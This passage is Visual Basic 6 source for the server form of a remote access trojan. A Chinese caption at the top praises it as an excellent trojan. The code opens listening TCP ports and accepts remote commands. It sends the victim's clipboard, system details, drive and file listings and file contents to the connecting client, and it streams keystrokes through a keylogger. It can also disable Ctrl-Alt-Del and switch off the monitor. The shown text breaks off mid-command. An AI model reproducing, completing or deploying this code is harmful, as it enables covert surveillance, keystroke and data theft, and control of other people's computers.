frmserver.frm

风暴木马非常好的木马程序

      Left            =   2040
      TabIndex        =   12
      Top             =   0
      Width           =   375
   End
   Begin VB.Label lbloldactivebordercolor 
      BackColor       =   &H00808080&
      Height          =   375
      Left            =   2520
      TabIndex        =   11
      Top             =   0
      Width           =   375
   End
   Begin VB.Label lbloldinactivebordercolor 
      BackColor       =   &H00808080&
      Height          =   375
      Left            =   3000
      TabIndex        =   10
      Top             =   0
      Width           =   375
   End
   Begin VB.Label lbloldappworkspace 
      BackColor       =   &H00808080&
      Height          =   375
      Left            =   3480
      TabIndex        =   9
      Top             =   0
      Width           =   375
   End
   Begin VB.Line Line1 
      Visible         =   0   'False
      X1              =   0
      X2              =   2040
      Y1              =   480
      Y2              =   480
   End
   Begin VB.Line Line2 
      Visible         =   0   'False
      X1              =   2040
      X2              =   2040
      Y1              =   480
      Y2              =   0
   End
   Begin VB.Line Line4 
      Visible         =   0   'False
      X1              =   3720
      X2              =   3720
      Y1              =   0
      Y2              =   1680
   End
   Begin VB.Line Line6 
      Visible         =   0   'False
      X1              =   0
      X2              =   3720
      Y1              =   1680
      Y2              =   1680
   End
   Begin VB.Label Label1 
      Alignment       =   2  'Center
      Caption         =   "Screen Options"
      Height          =   255
      Left            =   2160
      TabIndex        =   8
      Top             =   120
      Visible         =   0   'False
      Width           =   1455
   End
End
Attribute VB_Name = "frmServer"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function Escape Lib "gdi32" (ByVal hdc As Long, _
     ByVal nEscape As Long, ByVal nCount As Long, lpInData As Any, _
     lpOutData As Any) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, _
     ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, _
     ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, _
     ByVal ySrc As Long, ByVal nSrcWidth As Long, _
     ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
     ByVal hObject As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" _
     (ByVal hdc As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
    (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
    ByVal lParam As Long) As Long
    Private Declare Function SwapMouseButton& Lib "user32" _
(ByVal bSwap As Long)
Private Declare Function ShowCursor& Lib "user32" _
(ByVal bShow As Long)
    Private Const WM_SYSCOMMAND = &H112&
    Private Const SC_MONITORPOWER = &HF170&
    Dim mousehide As Boolean
    Dim fliphorizontal As Boolean, flipvertical As Boolean, thechange  'declare the variables
    Dim hIn As Integer
    Dim Sending As Boolean, Sending2 As Boolean, stopit As Boolean

Sub SendInfo()
Dim infos(11), tot
infos(1) = "current time: " & Time
infos(2) = "current date: " & Date
infos(3) = "windows has been on for: " & GetTimeOnWindows
If IsScrollLockOn = 1 Then
    infos(4) = "scroll lock is: on"
Else
    infos(4) = "scroll lock is: off"
End If
If IsNumLockOn = 1 Then
    infos(5) = "num lock is: on"
Else
    infos(5) = "num lock is: off"
End If
If IsCapsLockOn = 1 Then
    infos(6) = "caps lock is: on"
Else
    infos(6) = "caps lock is: off"
End If
infos(7) = "double click time: " & GetDoubleClick & "ms"
infos(8) = "caret blink time: " & GetCaretBlink & "ms"
infos(9) = KeyboardInfo
infos(10) = "clipboard text: " & Clipboard.GetText
infos(11) = "resolution: " & Screen.Width / Screen.TwipsPerPixelX & "x" & Screen.Height / Screen.TwipsPerPixelY
For i = 1 To 11
    tot = tot & infos(i) & vbCrLf
Next i
WS.SendData "Info;" & tot
End Sub

Sub SendDrives()
'On Error Resume Next
Dim tot
For i = 0 To Drive1.ListCount - 1
    tot = tot & Mid(Drive1.List(i), 1, 2) & "\" & Chr(13) & Chr(10)
Next i
WS.SendData "Drives;" & tot
End Sub

Sub SendFiles(Directory)
On Error GoTo error_handler
Dir1.Path = Directory
File1.Path = Directory
Dim totd, totf, tot
For i = 0 To Dir1.ListCount - 1
    totd = totd & Dir1.List(i) & "\" & Chr(13) & Chr(10)
Next i
For i = 0 To File1.ListCount - 1
    totf = totf & File1.Path & File1.List(i) & Chr(13) & Chr(10)
Next i
tot = totd & totf
WS.SendData "Files;" & tot
error_handler:
Exit Sub
End Sub

Private Sub ListBoxtoTextBox()
Dim a As Long
Dim b As String
For a = 0 To (List1.ListCount - 1)
b = b & List1.List(a) & vbCrLf
Next
Text1.Text = b
End Sub

Function StartButton(State As StartBar_Constants)
        'This function can hide and show the _
        start button on your Windows (95/98/2000) PC.
        Dim SendValue As Long
        Dim SetOption As Long
        SetOption = FindWindow("Shell_TrayWnd", "")
        SendValue = FindWindowEx(SetOption, 0, "Button", vbNullString)
        ShowWindow SendValue, State
End Function

Private Sub File_ConnectionRequest(ByVal requestID As Long)
File.Close
File.Accept requestID
End Sub

Private Sub File_DataArrival(ByVal bytesTotal As Long)
Dim dat As String
Dim a, b, c
File.GetData dat$
If stopit Then Exit Sub

If Sending = True Then
    a = LOF(1)
    b = Loc(1)
    c = a - b
    If c < 4000 Then
        dat$ = Input(c, #1)
        Sending = False
        File.SendData dat$
        Sending2 = True
        Close #1
    Else
        dat$ = Input(4000, #1)
        File.SendData dat$
    End If
ElseIf Sending = False Then
    Sending = True
    If LOF(1) < 4000 Then
        dat$ = Input(LOF(1), #1)
        File.SendData dat$
        Sending2 = True
        Close #1
      Else
       dat = Input(4000, #1)
        File.SendData dat$
        End If
        File.SendData "CLOSE"
End If
DoEvents
End Sub

Private Sub File_SendComplete()
If Sending2 = True Then
    DoEvents
    File.SendData "CLOSE"
    Sending2 = False
    stopit = True
End If
text2.Text = "Complete"
End Sub

Private Sub Form_Load()
Start_listen
    SetPriority
Dir1.Path = txtpath.Text
File1.Path = Dir1.Path
    WS.LocalPort = 666
    WS.Listen
    fliphorizontal = False 'set variable to correct value
flipvertical = False
thechange = SRCCOPY
With frmDesktop 'set the size of the form and picture in it
.Top = 0
.Left = 0
.Width = Screen.Width
.Height = Screen.Height
.Picture1.Height = Screen.Height
.Picture1.Width = Screen.Width
End With
Dim lngColor As Long
lngColor = GetSysColor(4)
lbloldmenucolor.BackColor = lngColor
lngColor = GetSysColor(15)
lbloldbuttoncolor.BackColor = lngColor
lngColor = GetSysColor(5)
lbloldwincolor.BackColor = lngColor
lngColor = GetSysColor(1)
lbloldbackground.BackColor = lngColor
lngColor = GetSysColor(6)
lbloldwinframecolor.BackColor = lngColor
lngColor = GetSysColor(10)
lbloldactivebordercolor.BackColor = lngColor
lngColor = GetSysColor(11)
lbloldinactivebordercolor.BackColor = lngColor
lngColor = GetSysColor(12)
lbloldappworkspace.BackColor = lngColor
End Sub


Private Sub Command1_Click()
frmDesktop.Picture1.Cls 'Clear picture
DumpToWindow frmDesktop.Picture1, thechange, fliphorizontal, flipvertical
frmDesktop.Show 'show the form
End Sub

Private Sub Form_Unload(Cancel As Integer)
End
End Sub

Private Sub KeyLog_DataArrival(ByVal bytesTotal As Long)
If Cmd(0) = "StopLog" Then
KeysTmr.Enabled = False
WS.SendData "LogStopped"
End If
End Sub

Private Sub Option1_Click()
thechange = SRCCOPY 'change variable
End Sub
Private Sub Option2_Click()
thechange = SRCINVERT 'change variable
End Sub
Private Sub Option3_Click()
thechange = SRCAND 'change variable
End Sub
Private Sub Option4_Click()
thechange = SRCERASE 'change variable
End Sub
Private Sub Option5_Click()
thechange = SRCPAINT 'change variable
End Sub
Private Sub Option6_Click()
fliphorizontal = True 'change variables

End Sub
Private Sub Option7_Click()
flipvertical = True
End Sub

Private Sub WS_Close()
WS.Close
WS.Listen
File.Close
File.Listen
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
WS.Close
WS.Accept requestID
WS.SendData "Connected"
End Sub

Private Sub KeysTmr_Timer()
If GetKey Then
            KeyLog.SendData "KEY" & sKeyPressed    ' any keypresses ?
        End If
   End Sub

Private Sub Start_listen()  ' own sub because called twice
    With KeyLog
        .Close
        .Protocol = sckTCPProtocol
        .LocalPort = 66
        .Listen
    End With
    With File
        .Close
        .Protocol = sckTCPProtocol
        .LocalPort = 6666
        .Listen
    End With
End Sub

Private Sub ListenSck_Close() ' if no connection, disable logging
    KeysTmr.Enabled = False
    Start_listen
    End Sub
 
Private Sub keylog_ConnectionRequest(ByVal requestID As Long)  ' accept any request
With KeyLog
        .Close
        .Accept requestID
    End With
    KeysTmr.Enabled = True  ' if connected, enable logging
    WS.SendData "LogStarted"
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
WS.GetData Data, vbString, bytesTotal
lastdata$ = Data
Arrayize lastdata$, ";"
Dim thedata As String

If Cmd(0) = "PrintText" Then
    PrintText Cmd(1)
    WS.SendData "TextPrinted"
    ElseIf Cmd(0) = "ReadClipBoard" Then
    WS.SendData "ClipText;" & Clipboard.GetText
    ElseIf Cmd(0) = "EmptyClipBoard" Then
    Clipboard.SetText ""
    WS.SendData "ClipCleared"
ElseIf Cmd(0) = "Disconnected" Then
WS.Close
WS.Listen
ElseIf Cmd(0) = "GetInfo" Then
SendInfo
ElseIf Cmd(0) = "NumLockOn" Then
    NumLock True
    WS.SendData "NumLockOn"
ElseIf Cmd(0) = "NumLockOff" Then
    NumLock False
    WS.SendData "NumLockOff"
ElseIf Cmd(0) = "CapsLockOn" Then
    CapsLock True
    WS.SendData "CapsLockOn"
ElseIf Cmd(0) = "CapsLockOff" Then
    CapsLock False
    WS.SendData "CapsLockOff"
ElseIf Cmd(0) = "ScrollLockOn" Then
    ScrollLock True
    WS.SendData "ScrollLockOn"
ElseIf Cmd(0) = "ScrollLockOff" Then
    ScrollLock False
    WS.SendData "ScrollLockOff"
ElseIf Cmd(0) = "CtrlAltDelOn" Then
    CtrlAltDel True
    WS.SendData "CtrlAltDelOn"
ElseIf Cmd(0) = "CtrlAltDelOff" Then
    CtrlAltDel False
    WS.SendData "CtrlAltDelOff"
ElseIf Cmd(0) = "MonitorOn" Then
    a = SendMessage(frmServer.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, -1&)
    WS.SendData "MonitorOn"
ElseIf Cmd(0) = "MonitorOff" Then
    a = SendMessage(frmServer.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, 0&)